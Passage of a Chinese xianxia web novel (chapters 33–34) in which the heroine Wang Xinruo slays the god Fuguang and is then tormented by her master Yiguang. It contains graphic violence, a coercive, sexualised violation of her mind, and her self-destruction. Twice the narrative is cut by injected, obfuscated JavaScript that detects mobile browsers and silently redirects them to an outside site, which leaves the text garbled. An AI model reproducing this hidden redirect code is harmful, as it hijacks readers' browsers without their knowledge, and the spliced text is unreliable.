吴秋行的洞府布置得极其简单,颇合他名中“秋”之萧索。 一方石床,一方铜案,几个蒲团,不知道的还以为是人间的苦行僧。 王心若坐在蒲团上,闭目养神等他。 果然半个时辰后,吴秋行回到洞府,脚步已有所不稳。 她赶忙上前扶住他,“身子既然已有亏损,为何还要去布置那宫殿?” 吴秋行面色苍白,笑道:“总不能让别人看出来,而且,身为被神选择的仙盟盟主,待神之心,总要诚恳些。” 她将吴秋行扶上床,让他倚在枕上,准备为他疗伤。 他却拒绝道:“师姐,现在这个时刻,就不要为我浪费灵力了,我又死不了。” “大典是你定的,还是他定的?” “是他定的。我猜……他想让我们替他挡去一部分……不过这样也好,放在一起,师姐也好行事些。” 王心若微微出神,“只有四天了。” 吴秋行轻咳,“师姐,也在害怕么?” “不怕。” 闻言,吴秋行一笑,“是因为我们无能,才会让师姐说出‘不怕’。” “为何?” 他伸出手,握住她的右手,望着红玉镯道:“师姐,小九有些话,想说很久了。今日不说,小九怕之后再也没机会说。” 谁也不知道四日后,她能不能真得达成目的。成了,不过是一个方法得到验证, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我这才知道,原来师姐便是我在人间历劫时,爱慕却又亲手伤害的女子……原来,我从头到尾,都在辜负你……师姐,我知道,这样的我,是配不上你的。所以,只想能帮到你,哪怕一点也好。” 王心若勉强开口,道:“无事,情劫之所以为劫,就是结局不好,是天定的,神定的,你我左右不了。何况,我也不记得了。” “可是师姐,前段时间,朝华殿上,那个忽然出现的姑娘以命击杀扶光时,我忽然明白你要做什么了。”他双目微红,“我看到你手腕上的禁镯,我才明白你怎么性情大变,你怎么走到今天……我能理解,可是,师姐,我的心很痛。” “也许师姐并不想听我说这样的话,我一直都知道,师姐心里,其实一直都放着师兄,也许只有师兄这样对师姐说,师姐才愿意听进去……可是,我也该有那么一点,一点,为师姐痛心的资格。” 王心若道:“小九,你们实在不必要在我身上浪费情感。若我身陨,你们也要这样坚定走下去,总有一日,神对你们而言不再是威胁。” 吴秋行忽然猛烈咳了一阵,吐出殷红的鲜血。 王心若赶忙探他体内灵根灵气,却见里面几近枯竭,“怎么会这么严重?” “他不是别人,他是神啊……”吴秋行有些自说自话,轻声道,“师姐可以,我为何不可以。冷静无情固然好,能够无所牵挂、无所顾忌的朝前走去,能够不因自己的犹豫、敏感、多情、柔软牵绊住前行的脚步。可是,在这路上,师姐会拒绝很多人的好意,拒绝很多人的关心,对那些人来说,这很令人难过啊……师姐,你从来都不是一座孤岛。” 王心若坚持替他疗伤,他道:“师姐,现在真得不用,你就这样陪着我。四天后,我等师姐凯旋,再给我疗伤……” “若我不归呢?” 吴秋行摇摇头,面色愈是苍白,便显得双眸格外黑亮。 “师姐,一定能回来。” 33. 弑神(3) 33.弑神(3) 吴秋行让她陪着他,她陪了他三日。第四日,她说要去看看其他师弟。 吴秋行不强留,看着她远去。 他慢慢躺下去,轻声道:“若还有机会,在人间那数十年,我必不负你。” 一世数十年,对仙而言不过弹指一瞬,但对失去的感情而言,足够珍贵。 千金难买回头路。 王心若先回了趟云渚,慕容修正在给弟子授课。 印象中,慕容向来是好学之人,从不缺课。虽说天资并非师兄弟中最佳,但贵在韧性强,能长久坚持,所以如今修为抵达天玄境大圆满,比其他师弟要强些。 起初,她想过若她不在,由慕容接任盟主,应是个不错的选择。 可后来,她觉得又不是了。 无论巨细,事必躬亲之人适合做先锋、做得力下属,但不适合当盟主。这一点,许道淳和吴秋行比他要好。 单单是担任云渚掌门,就让他忙得脱不开身,眉头始终紧锁,心中存着做不完的事。若是当了盟主,岂不累垮。 云在青天水在瓶,万物都有自己的位置,不能强求。 她等着等着,便坐下,靠在石边小憩。 不知过了多久,才幽幽转醒,慕容修已坐在她身旁,而她身上搭了件外袍。 “怎么不叫我?” “师姐难得休息,修不忍。” 她忽然笑了,“你如今也会说这种话了。” “修以往眼中唯有修炼和公事,可后来觉得,这样并不好。” “怎么突然觉得不好?” 他沉默片刻,回道:“因为……忽然回想起一段往事,明白有所得必有所失。” 王心若用略带打趣的口吻说,“你鲜少发这样的感慨,更难得流露出这般惆怅的表情。” 慕容修望向她一笑,又抬头道:“这里花落得多。” 她随之抬头,果然是在一棵花树下,枝头淡粉近白的花瓣偶尔随风轻落。 慕容修忽然抬手,替她捡取发间一瓣花,而后握在掌中,“师姐,我们起来走走吧。” 她点头,二人走在云渚路上,聊了些闲话。 “这几百年,掌门还当得惯么?”她问。 “尚可。” “你呀,不要什么事都自己做。弟子能帮你分担的,就让他们来,你多休息休息。总有一天,天界、云渚都会易主,总不能永远这样累于案牍吧?” “师姐教训的是,可是,师姐自己也要遵从这句话。” “好,我尽量。不叨扰掌门了,我去厉川一趟。”王心若向他告辞,起身前往厉川。 厉川在四重天,处于一方巨大峡谷中,自成一方国度,门下弟子以体修、器修为主,其间商事盛行,来往修士诸多。她来这是为了找六师弟陆起和十师弟陶闻生。 至掌门殿前,弟子自是认得她,无须通传,便引她去正堂。 那两人似在等她,皆正襟危坐于堂中。 “小六也就罢了,你今日竟如此正经?”她看见那灰衣少年端坐严肃的样子,颇感惊奇。 陶闻生正声道:“师姐,我一向很正经。” “你说这话可要吓死我了。天界有三人是永远也正经不起来的,除了玄檀,就是你和十一。” 陶闻生颇无奈道:“师姐,你也太瞧不上我了。” 王心若不理他,对陆起道:“你可还记得厉川门下有个叫‘林果果’的弟子。” 陆起:“隐约有些印象,但我记得……她十几年前就身陨了,如今应该投胎了。” “她没投胎,我前些时日去鬼域遇见她,她说她有个法宝,叫‘因缘轮回镜’,在你这里,她想拿回去。可有此事?” 陆起说确有此事。 “过段时间,你派人去趟鬼域,把镜子还给她。” “师姐,鬼域界门变化多端,我等不知道如何前往。” “笨,下界找个厉害些的妖怪问问便知。” 陶闻生小声嘟囔:“我觉得这方法也挺不靠谱的。” 王心若冷嗖嗖瞥他一眼,而后叮嘱道:“你们以后要好好修炼,尤其是小十你,以后说话前斟酌些,不要总祸从口出,以后可没人替你兜着,你若因言被谁打了,就自己挨着。” “师姐,不还有你么?” “我可不替你兜,累。” 随便说几句话,她又依次去看望裴嘉、赵玄檀,和刚从地牢中被解救出的柳宜均。 赵玄檀原本有些战战兢兢,以为她又要训他,没想到王心若只是对他点点头,夸他这次总算有些长者之风。 赵玄檀当场感动地就要落泪。 * 四日时间,弹指而过。 九重天诸仙齐聚,甚少如此热闹。 受封的两位主角站在殿上,吴秋行青衣玉立,宛如翠竹,面上挂着文质彬彬的笑容,只是面色略微苍白些;素璇看出来是精心打扮过一番,站在吴秋行身旁,有些紧张。 她道:“吴师兄,以后还要你多多教导,让素璇能尽快上手天界事务。” 吴秋行轻轻颔首,“素璇师妹聪敏,日后必大有所为。” 下座其他仙君则是面色麻木听着他二人的互相吹捧。 除了傅钰还捧自己掌门的场,其他人是不想来的,只是王心若说让他们全到,他们才肯来。 仙人们则是很自觉,毕竟他们得罪不起仙君,更得罪不起神君,只好悉听法旨。 零零散散,人也聚齐,就待扶光老人家驾临现场。 只是扶光没到,王心若先到了。 其实诸仙都默认,这场典礼,她不会来参加。 毕竟同门师弟接任自己的位置,还是在自己不情愿的条件下,这样相聚未免尴尬。 王心若背着双剑,手中捧着一个檀木盒,出现在大殿后方。 她毕竟执掌天界多年,诸仙皆向她行礼,未来两位盟主也不例外。 然而她并未上前。 素璇倒是机敏,想邀她上座,却被她拒绝。 “诸仙安好,今日大典,我是来向二位送上贺礼的。” 吴秋行下阶,“师姐,送了什么贺礼。” 她轻笑着打开盒子,只见里面满盛沙砾,看起来普普通通。 “师姐,果然……不想让我们掺和。”吴秋行虽有预料,然而语气终究有些落魄。 他之前和她说,她不是一座孤岛,便是希望她在此事上,能够依靠下他们。 可她终究一意孤行。 王心若将沙砾洒出,一万颗沙砾,飘在空中,几不可见,她默念法诀,“收”字一念,只见被沙砾俯身的仙人便扭曲成一道光,储入砾中。 殿内忽然乱起来,诸仙皆想躲避那在空中毫无规律飞动的缚仙砂,却也是“躲得过初一,躲不过十五”。 素璇躲避地有些狼狈,质问道:“心若师姐,您这是何意?为何搅乱这大典,可是不满我们接替了你的位置?” “那位置谁坐都好,我只是不想你们为他护法,他不配。” “他?他是谁?”素璇话还没问完,便被吸入缚仙砂中。 几个仙君还在勉强躲避这些缚仙砂,陶闻生道:“师姐,你这是为何?叫我们来,又把我们收入缚仙砂里?” 王心若朝他一笑,“批量处理,快。” “你是在逗我吧?”陶闻生哀嚎。 不把他们收进去,到时候打起来,天地异变,他们必会飞至九重天查看情况。 万一被伤,多不好。 “委屈你们,在里面待一个时辰。一个时辰后,一切都会好的。” 她含着淡淡的笑,看他们一个一个,都躲不过缚仙砂的吞噬。 一切都会好的。 * 九重天朝华古钟内,那些明面上来参加大典,实际上被扶光用来为他护法的仙人皆消失不见,只留王心若一人,凝神静气,手持双剑,站在大殿中央。 她将任流光和游日月两柄剑放在手中细细端详,一金一银,暗暗流动光华,手握着雕琢龙凤纹路的剑柄,略有些冰凉沉重。她所创的剑法,溯月萦光,本也是因这两把剑而生。 “流光,你可惧?”她轻声问金剑。 一缕波烟飘散空中,显示出金袍少年影像,任流光浅笑,“师姐不惧,流光不惧。报仇雪耻,当在今日。” “若是败了呢?” “拼尽全力,败亦无悔。” “好。任流光终难易,纵春秋亦不改,剑心剑骨,该当如此。” 她引来清水擦拭这两柄剑身,光泽更盛,剑刃更锋利。 她站在那里拭剑,轻柔仔细,以此放空自己,不去想恩怨纠葛、爱恨情仇,不去想是非对错、善恶成败。此刻起,她只是一个剑修,立在这九重天上,和自己的本命剑,为同一个目的并肩作战。 她仔细回想自己有生以来学过的、创过的所有剑诀剑招,参与过的所有比试。 然后回想她所见过的所有美景,回想起瑶池的清水素荷,淡蓝轻烟的虚妄天,云渚终年不化的雪山,朝华古钟外绵延永夜的浩瀚星空,丰都城岩上地下无边无际炽热的火莲和飘落的雪花烟火,以及一双锐利俊美的赤眸和刹那间素衣转为红裳的心动。 那些记忆一一浮现脑海,点燃的是活下去的欲.望,点燃的是战斗的勇气。 心有惊雷,面如平湖,四周寂静无声。 然后,等待已久的。 一道冰冷的声音传来。 “师侄,你在此作甚?” 来了。 王心若回身,看那白衣白发的孤高冷傲之神出现在高座。 越到此刻,心中竟无悲无喜,毫无波澜。 他用威严冰冷的声音问道:“今日是吴师侄受盟主印的大典,他们人呢?” “他们来不了了。师叔若想亲自授印,还是将这盟主之印,再授于我。”她平静回道。 扶光冷笑,“授予你,你也配?” “我当然配。” “凭什么?” “凭我乃诸仙之长,天界之主,除你外,谁敢不服?” 王心若抬眸,掷地有声道。不待他出言反应,她双手紧持双剑,似一道离弦之箭,直接飞身上前,用力向下劈去。 此刻,乃酉时二刻。 距离吴秋行推衍的酉时三刻,尚有一刻。 “王心若,你好大的胆,竟敢对孤出手!”扶光左手拂袖,透明结界在他身前形成,“凭你,也想伤孤!” 游日月和任流光劈进结界一寸,与结界相交处摩擦出火星,剑身无法再向下移动半分,王心若悬于空中,体内灵气不断输送入掌,压着剑锋朝下挺进,却只得艰难向下挪动一点。 扶光轻蔑笑道:“王心若,是谁给你挑战孤的勇气,这天界之主当了太久,真以为自己无所不能了么?” 说话瞬间,他轻轻扬起衣袖,铺天盖地的蓝色蝴蝶朝她飞来,数量比上次试探她时更加多,灵蝶纹路也更清晰,身上所携灵气更充足。 漫天的蓝已不是美丽,而是令人窒息的压迫感。 她赶忙用力拔出剑,朝那些飞出结界的蝴蝶斩去,剑气磅礴,被划破身子的蝴蝶瞬间炸成点点荧光,旁边被波及到的蝴蝶散开后又重聚朝她袭来。 她口中念着咒语,用剑气飞速在空中写下符咒,金银色的痕迹在虚空停留,落笔后,陡然转为三路火焰,从她身前旋转缠绕着冲向扶光。蝴蝶触之,刹那间燃烧成灰烬,最终,三路火焰拧成一股,在浓得抹不开的蓝中贯穿出一道火线,插.入扶光身前透明结界。 只闻“咔嚓”一声,结界出现裂纹,随之而来的剑气,将结界彻底击碎,如同一地残冰。 扶光面色阴沉,拂袖起身,“拼尽全力,也不过伤孤一方结界。孤以为,你有多大能耐。现在,孤让你见识见识,什么叫神威不可侵。” 话音落,深蓝的光芒自他手心凝成,浮现出一道带着倒刺的长鞭,仔细观之,便能发现这条鞭子是由那些蓝色灵蝶紧紧拧成。“灵蝶鞭一旦见你血肉,你便知什么叫生不如死,这滋味,未必不比你当初剜骨差!” 灵蝶鞭直直朝她甩来。 这条鞭子可怕就可怕在它非死物,而是活蝶所成,可疏可密,可长可短,外层蝴蝶同时也会散开攻击。 王心若飞身闪避长长的灵蝶鞭,而那些蝴蝶似有所知,朝她后背飞去。她既要躲整条鞭子,还要避着这些飞出来的蝴蝶,光是躲避便十分耗费心神,更不要说予以攻击。 为什么,为什么?刻苦修炼五百万年,甚至用上炼制之法,在对战中,还是处处落于下风? 平静心湖涌上一丝不甘,但她不能让这些杂乱想法干扰自己。躲避之中,她重重从灵蝶鞭中间砍下,却发现那鞭拧得极紧,她用力砍下,只觉双臂一麻,被击退几步,而任流光和游日月剑刃上竟出现一道豁口。 她只好改用咒火燃烧它们,然而咒火虽然能燃着外层蝴蝶,却很快又熄灭,失去一层蝴蝶对于灵蝶鞭而言毫无影响,就算她耗尽灵力使用咒火,恐怕也只是徒费力气。 一直这样处处败退,怎能成事?她看准时机,趁扶光甩出鞭子,改退为进,变守为攻,尽可能运出体内所有灵气护着自己,不管这跳动着梦魇般的蓝色,朝扶光冲去。 扶光见她飞来,左掌凝出冰蓝符印,朝她拍去,符印掀起巨风,将她发髻吹散,云纹发带凌乱舞在空中,斜插的莲花红珠簪随之飞出去,重重掉落在地。 匆忙中,她回望一眼,而后赶紧以剑气接招。 金银剑尖和冰蓝符印相撞时,三道光芒炽盛,极其刺目,可怖的灵力轰隆一声散开,直直击向四面八方,这钟内世界原本布置好的一切瞬间被二人巨大的力量碾为齑粉,力量还未停止,撞击在殿壁,只闻得剧烈破碎声,顷刻间,朝华古钟炸裂开来。 二人彻底暴露在九重天永夜间,而这璀璨星空中,金色的二十八星宿图和一轮皎皎明月宿布满天际,和群星相得益彰,正因这无尽的黑夜,虚幻剑意更加璀璨明亮,灼灼燃烧在黑色的天幕上。 这是溯月萦光的剑意,是属于她的剑意,是她曾对仙途和世界的美好幻想。 她接下扶光这一道符印后,从手掌开始,震颤传递全身。以她的力量,真的只是勉强接下,太过勉强,以至于没有任何缓冲,全身经络开始疼痛,然后,渗出血液,渐渐染红她的白衣。 蓝色的灵蝶趁机割破她背后的衣衫,从旧伤处钻入,它们化作刺针,在她血肉骨髓中穿梭。任流光赶忙帮她抵挡,她很想痛叫出声,却不愿在扶光面前显示出屈服,只好紧咬银牙,直到口唇中弥漫浓烈的血腥味。 终究是撑不住,她重重跌落在地,见那如墨天穹上一轮明月和漫天星宿的光泽像被什么擦去一样,一点一点变淡。 灵蝶在体内肆虐,她不得不用灵气入体捕捉它们,握着游日月的手渐渐僵硬地颤起来,整个人不免蜷缩在一起。她感到背后旧伤在源源不断流血,任 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她将那样的道作为信仰。 可最后呢?这样的道为何最后会变成冷漠的屠杀、宣泄占有欲的凌虐以及对弱小生灵的轻蔑。为什么?她曾全心信任憧憬的神,和她全心追求的道,就这样突然割裂开。神违背了自己的道,师尊和师叔违背了自己的道。 扶光收起灵蝶鞭,走到她面前,用脚勾起她的下颌,迫使蜷缩着的她,抬头看他。 “王心若,孤不杀你,但你今日犯下如此大错,孤会将你带到天罚台上,接受神的惩罚。” 她低声一笑,口中血沫让她口齿不清。 “你说什么?”扶光没听清,眯着眼问道。 她用剑撑起自己的身体,半跪在地上,抬头冷然笑道:“你不杀我,我杀你!” 话音一落,她执起双剑,又朝他冲去。 酉时三刻。 酉时三刻,天劫至。 剑刚起,天边突然炸开巨雷,浓云滚滚,渐渐散开,电光在上方闪烁,越聚越大,形成可怕的漩涡,像一只与天地同大的巨兽,缓缓睁开它的一只眼。 扶光脚下一顿,抬头望天,而后震怒道:“王心若,是谁告诉你的?吴秋行?” 被背叛的感觉愤怒自胸腔升起。 他从五百万年便知道吴秋行和王心若不和,他眼中所见亦然,素璇告知他的也是如此。 他二人怎会串通?她怎会知道今日他天劫将至? “不怪他人,扶光,你已经杀过我一次了。”她忽然欢畅地笑起来,纵然体内被灵蝶钻过的地方十分疼痛,她仍挤出一个畅快的笑。“扶光,你杀的云若,是我啊,是我啊!!!这天劫,是我给你的,你好好受着吧!” 她支着剑,终于站直。 “扶光,再战。”她凝起所有灵力,打开经络,与天地灵气贯通,朝他冲去。 与她一同击向他的,是天上那雷电旋涡中伴随着滚滚雷声倾泻而下刺目白电。 耀眼夺目,璀璨绝伦。 “王心若,你以为有天劫便能杀了孤么?痴心妄想!” 巨大的光罩浮现在上空,白电被悉数屏在其外,翻腾起浓浓的白沙,遮盖了黑色天空。 九重天从未如此明亮。 “你对神一无所知。“屏着白电天雷,扶光仍能全心全意碾压她。 他的每一道符咒都蕴藏着巨大的力量,躲避不能,只能以肉身硬撑。这些符咒就像墙,她便是用肉身撞墙的凡人,每抵御一道,骨骼破碎的声音都能听见,若非灵气支撑,她现在便是地上散落的一滩血肉。 不惧,不惧! 任流光剑身炽热明亮,他在告诉她。 师姐不惧,流光不惧。 流光不惧,师姐亦不惧。 她忍着身上体内的创伤与疼痛,即便视线已然模糊,耳里听不见声音,也要提剑前行。 ”五百万年前,你为护你那几个在人间作乱的徒弟,将他钉在天罚柱上,刺穿他的琵琶骨,废了他多年的修行,让他脸上永远留下耻辱的印迹。你们处事不公,却说他狼子野心,斥他修行不正。他是那么骄傲的一个人,也是天赋那么高的一个人,沦落到那般田地,被你们逼得折腰跪地,无奈堕魔,我焉能不恨。 如今,你扶光自恃神尊,不问因果,不问真相,仅为天界权柄,便随意处置仙人,杀戮凡人,三十多个有血有肉的人因你一念落得灰飞烟灭的下场。今天,你又要召集诸仙前来,想必是借机为你天劫护法,可你没想到,我早就把他们藏起来了,只有我,我来为你护法!” 她转而朝他设下的结界刺去,用自己的灵根承受源源不断天地间的灵气,再将它们狠狠压缩,从剑尖喷薄而出。 不知受了多少道符咒,也不知这样的动作做了多少次,结界终于出现裂缝,囤积已久的天雷白电排山倒海般袭来。 在这明灿雷电中,她用模糊的双眼望向无垠苍天。 她回想起对少时自己说的那句话。 “四十九剑气溯月,二十八星宿萦光。灵运十二经络,气通奇经八脉,五感聚六路,神识放四方。你会感到和天地共生,与日月同在,与清风同呼吸,与流水共徜徉,贯通天地灵气。” 我用双眼追溯着那轮明月,在那处找到天地最美的颜色。 我是萦绕在明月旁边的薄云轻雾,在那处看见天地间最美的光芒。 我听见潮水的低叹,月亮的轻叹,花草树木的呼吸,我与天地同生,与日月同在。 我要用这自由的不被约束的灵魂,用最纯粹的目光,享受世上所有的快乐美好。 至纯至美,溯月萦光。 道没错,是他们错了,是神错了。 心绪逐渐平静,她平心静气,真正感受周围的一动一静,任自己成为一面薄纱,感受天地来去自如的灵气。 灵力来源于天地,是故,剑法至高,人剑合一,天人合一。 静谧中,明亮皎洁的月亮再次缓缓升起,二十八星宿图缓缓铺开,笼罩整个天地,浩瀚夜空,瞬间明亮。 金色剑身愈发明亮,剑身的炽热从她的手掌传入心脏。 扶光正抵御天劫,忽然有巨大力量自地面涌动,与天劫雷电相接,一同击向他。 方才无所畏惧的扶光眸中终于出现一丝慌乱,似是不明白地上力量缘何而起。 王心若也顾不得许多,她忍着剧痛冲进那天雷地电中,握着任流光朝他刺去。 “你们算什么神,你们也配当神?若你们能当神,我更能当神,我才是神!” …… 右手腕的禁镯承受不住雷电与剑气凝成的巨大力量,顷刻间破碎炸裂。 当那剑尖即将碰到扶光衣袍瞬间,无数压抑许久的情感思绪充入她的脑海,浓重似墨难以化开。 柔软,犹豫,重情,忧愁,悲伤,悔悟…… 一道威严冷淡的声音自远处传来。 “心若,为师命你住手。” 是他,他来了!恨意、惧意和痛苦席卷全身,就连指尖也在发颤。 就在那一瞬,她脑内闪过许多不同的抉择,甚至想过收剑。 可一瞬后,剑尖没入扶光体内。 犹豫,几不可闻。 无论有没有禁镯,我都是我,这都是,我的选择! 34. 齐心 34.齐心 王心若没有理会那阻拦的话语,闯入刺目的雷光电闪中,将双剑刺入扶光体内。 濒临毁灭时,所有痛苦都淡去,她心中只有一个信念,便是一搏输赢、一决死生。 双剑贯穿神的躯壳,金银色光芒大盛,融入刺目的白色中。 扶光体内忽然产生剧烈的法力波动,以剑伤为中心瞬间迸发,伴随着巨大的爆裂声,三米高的银蓝尘灰如巨石投入水波般层层荡开,晕满整个九重天,而后如流星坠落、烟花散去,缓缓飘向下界。 这片尘灰的海洋中夹杂着蓝蝶幻影,但很快似被燃烧的薄纸般化成星星灰烬。 极浓郁的灵气飘散在周围,再也无法收拢。 王心若也被这层层荡开的尘灰气浪波及撞开,似一道红枫坠落在天海,她的灵力几近枯竭,骨骼血肉近乎被摧毁,双目已被额上沁出的冷汗和血滴模糊,只剩下一丝微弱气息,维持着残缺余命。 她握不住剑了,游日月和任流光飞坠空中,任流光赶忙化成人形,在她撞向地面时赶忙接住她,让她坠落在他怀中。 “师姐,你……还好么?”任流光跪在地上,左手环抱着她的肩,让她躺靠在自己的左肩。 他听到了,师姐说她是云若,那个拜在惊鸿派门下的新弟子。 可他却让她去做那些事……若他一开始便走正道,专心修炼,也许师姐便不会如此辛苦。 他错了,是他错了。 朦胧中,王心若感到面上一点温热,她努力伸手,想要抚上他的面庞,替他擦去泪水,却因虚乏无力,如何也伸不得手。 任流光赶忙握住她的手。 “流光……” “师姐,你想说什么?”他凑近些听她的话。 “他,死了么……” “死了,他死了!惊鸿派的仇已经报了!” “好,那我就放心了……” 任流光赶忙为她渡灵气,却发现她的灵根已然损毁,向她经络中输去的灵气就像往篮子中倒水,一放进去又会漏出来。 “师姐,师姐,我怎么救你,流光怎样才能救你?”他单是抱着她,便能感到那血不断从衣衫里透出来,他的双手已经被血染湿,他金色的衣袍,也被她的血染红。 王心若刚想给他一个安慰的笑容,却于血色朦胧中,看到一片雪白衣角。 那白衣的主人毫不留情将任流光一掌打飞,任流光经不住神力,被打成剑形,暂时难以化成人身。 那人冷漠看她上身重重磕碰在地,而后缓缓蹲下,如雪般的白发落在她面颊。 她厌恶地侧开脸,却被他以两指捏着下颌,强迫着与他对视。 一双淡漠至极又无比深邃的眼睛。 他开口,那些话比朝华古钟的声音更威慑人心,字字如难以违抗的旨,想充耳不闻,却难比登天。 “为何忤逆为师?”他伸手,一缕轻光扫过她的双眸。 王心若感到眼前朦胧渐除,尽管全身虚弱无力,眼睛却格外明亮,想闭也闭不得,只能看着他,与他对视。 她并不回答他的话。 “心若,回答为师,为何忤逆为师?”他的声音十分平淡,却让她全身骨骼一阵刺痛。 “……你不配……” “你曾经最是乖顺,最是听话,为何变成如今的模样?”他为她渡去灵力,让她既无法反抗,又尚有能力回话。 王心若眼含嘲讽望着他,“我确实……曾崇敬你,信任你,你说的字字句句,我都……铭记于心。可你,并未做到……你让我知道……在你们眼中……我们只是奴仆,是让你们为所欲为的玩物,只能服从,不能反抗……” 大道随心本自由,全是空话,真正的大道不过是强为刀俎,弱为鱼肉。 仪光轻勾唇角,抚上她的脸庞,替她擦去唇边血,压低了声音道:“……小莲花,难道不应该是这样么?为师替你铸成肉身,精心教养你这么多年,难道是为自己找仇敌么?” “你若真想要这样的,何必教我什么大道,何必如此表里不一?仪光,你最是虚伪!” 仪光摇摇头,指腹轻轻压上她的唇瓣,来回摩挲,擦净血渍,“不,不一样。这些年在化外之界,为师栽种万顷素莲,她们都十分听话,可为师总觉得不如你。想来,还是你最好。” 王心若内心怒火滔天,身躯却无法动弹,气急攻心,又咳出一口血。 “三十多条凡人命,你的两命,秋行一命,不仅如此,你还背着为师堕落为魔……兜兜转转,如此惨烈,也不过只杀了扶光师弟。以这样的速度,为师何日才等到你?” 仪光望向她的双眼。 王心若刚反应过来,却已迟了,一根绵延不断的丝线从瞳孔游向身躯各处,从骨髓到血肉,从躯干到四肢,从身体到识海,遍布她全身,那丝线将他居高临下、无法抵挡的意志和气息传遍她全身,蛮横霸道地打上烙印。 识海的平静忽然被炽热的火焰包围,掀起滚滚热浪,让恬淡的轻云也沸腾燃烧,每一处体内体外的触觉都变得极其敏感,一股又一股敏感浪潮从足尖涌至头顶,有如数万毒蚁噬咬血肉,千百细线刮过旧伤。这薄弱的躯壳中似忽然挤进来另一个陌生的灵魄,压迫、排挤却又强迫她的灵魄与他紧紧缠和。 极致的分裂开的痛苦在身体每一处叫嚣,原以为战斗中的痛苦已达极限,却不知刻意的玩弄更令人绝望崩溃。她蜷着身子在地上无措翻滚,双眼被汗浸得朦胧迷茫,血在九重天的地上渐渐晕开,高处望之,宛如跌落在尘土中红得绚烂又凄美的花瓣。 脑内仅存的理智快要溃破前,她狠狠咬住自己的手腕,强迫自己在几乎废去的灵根中凝出灵力。 “你的灵根已废,所做不过困兽之斗……” 话语忽然中断。 只因他见那凝出形的灵力,并不是冲向他,而是直直冲向她自己的识海。 未及来得及阻拦,灵力悉数没入识海,将那片火焰和识海都炸成碎片。 也是那瞬间后,她慢慢停止挣扎,目光渐渐黯淡。 残存的识海碎片让她还有微弱余力思考。 “就算是死,失去一切,我也……不会让你……再碰我一下。” 那缕丝线也被炸断,仪光识海大受震荡。 “你!你怎敢如此?”他看着她逐渐无神的眼眸,震怒之外更有丝慌乱,“给我撑着,我带你去瑶池,为你重塑身躯识海。” 仪光刚想揽住她的肩,手臂却被无数黑线紧紧缠着。 天边传来熟悉又陌生的声音。 “你没听到,她不让你碰么?把你的脏手拿开!” 话音刚落,远处忽然传来震彻天地的龙啸。 黑龙破云而出,漫天赤莲盛开。 黑线紧紧缠着仪光的手臂,线锋利如刀,像要把他的手臂勒断。 仪光愤怒将黑线斩断,可源源不断的黑线依旧铺天盖地袭来。 细杵样的一段白骨忽然出现在他面前,骨上无口,却发出邪性的笑,“鄙人的头发可是剪不完的!” 黑龙落地,让空明山也震颤。龙落地扬起一阵浓尘,它迅速变小,化作来人腕上铜镯。 浓雾渐消。 来人面貌逐渐清晰。 白骨不再缠着仪光,飞回来人手中,变成一柄白骨拂尘。 那人穿着云若为他绣的那件金纹白袍,骨簪高束长发,白肤赤眸,右脸上原有的赤色符咒已经散去,容貌俊美,姿态洒脱,一如当年。 是鬼域的仙,也是天界的魔。 “我他妈早想打死你了!” 郑含元丝毫不废话,从背后拔出纵春秋便劈了上去。 空中火莲愤怒燃烧,和他眸光一般。 他的剑法一点多余的花哨架子都没有,只有纯粹的刺劈砍斩,却蕴含着巨大力量。 仪光暗自心惊,“你怎会有此等境界?” 郑含元冷哼,“这还得多谢你的其他徒弟。” “此话何意?” “你很快知道了!”郑含元仍招招狠辣利落攻向他。 然而仪光法力高强,虽未腾出手反攻,却能轻而易举躲避。 不一会,几个身影纷纷落在九重天。 正是天界诸位仙君。 郑含元和吴秋行对视一眼,后者颔首,赶忙到王心若身旁照看。 其他人则站在郑含元身后,慕容修出列,朝仪光道:“还请神君遵守五百万年前承诺,不再踏足天界。” 仪光边与郑含元斗法,边扫过他们的面庞,见他们面色皆不佳,冷笑道:“我教的好徒弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137516|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,竟然借力给这妖魔来弑师。” “我们只是选择正确的罢了!师……神君,你实在太过分!”陶闻生一时间不知该说什么,在他过往认知中,一直尊敬师尊,可那日吴秋行找到诸位师兄弟,将往事告诉他们后,他更心疼师姐,今日所见,更是印证那些往事。 “你们就不怕我杀了你们!” 郑含元又一道剑气劈去,狠狠道:“我还怕你不杀!你杀得越多越好,让天劫直接把你劈个稀巴烂,就跟扶光那条狗一样!” 仪光轻蔑道:“天真!” 诸仙君见郑含元和仪光依旧打得难分上下,在慕容修的吩咐下,均席地而坐,结出阵法,把体内所剩不多的灵力再次传给郑含元。 仪光今日并未携带他的佩剑观山海,十分法力便只能使出八分。而郑含元完全不顾他的符印攻击,任那些砸在身上,割破衣衫,也不管不顾,只顾埋头攻击。 这时,吴秋行忽然带着哭腔道:“郑师兄,师姐快不行了。” 这句话让郑含元的心有一瞬崩溃,结阵的诸仙君也是手下一顿。 仪光心知以郑含元不要命的打法打下去,只会浪费时间、两败俱伤,便趁他们片刻失神,甩袖飞离天界,狠道:“你们倾尽全力,也不过如此,待来日我拿回观山海,将这天界夷为平地,叫尔等灰飞烟灭!” 郑含元下意识去追,但理智让他停住脚步,赶忙跑去王心若身边,吴秋行将她交给他,他横抱起她就往瑶池飞去。 二人不讲半句废话。 怀中人鬓发被湿冷的汗粘在肌肤上,面色唇色皆苍白,眸光黯淡。 “小师姐,我来了,对不起,我来晚了,可你那封印和缚仙砂着实难解……”他搂着她,拼命朝她体内输送灵力。 她的眼睛有一瞬微亮。 “你……怎么在这……我不是让你别来……” “怎么?你不想看到我在这吗?” “我不想……你这么笨……最不该出现在这里的人就是你……” “你不想,怎么唇勾起来了,总是这么口是心非。” 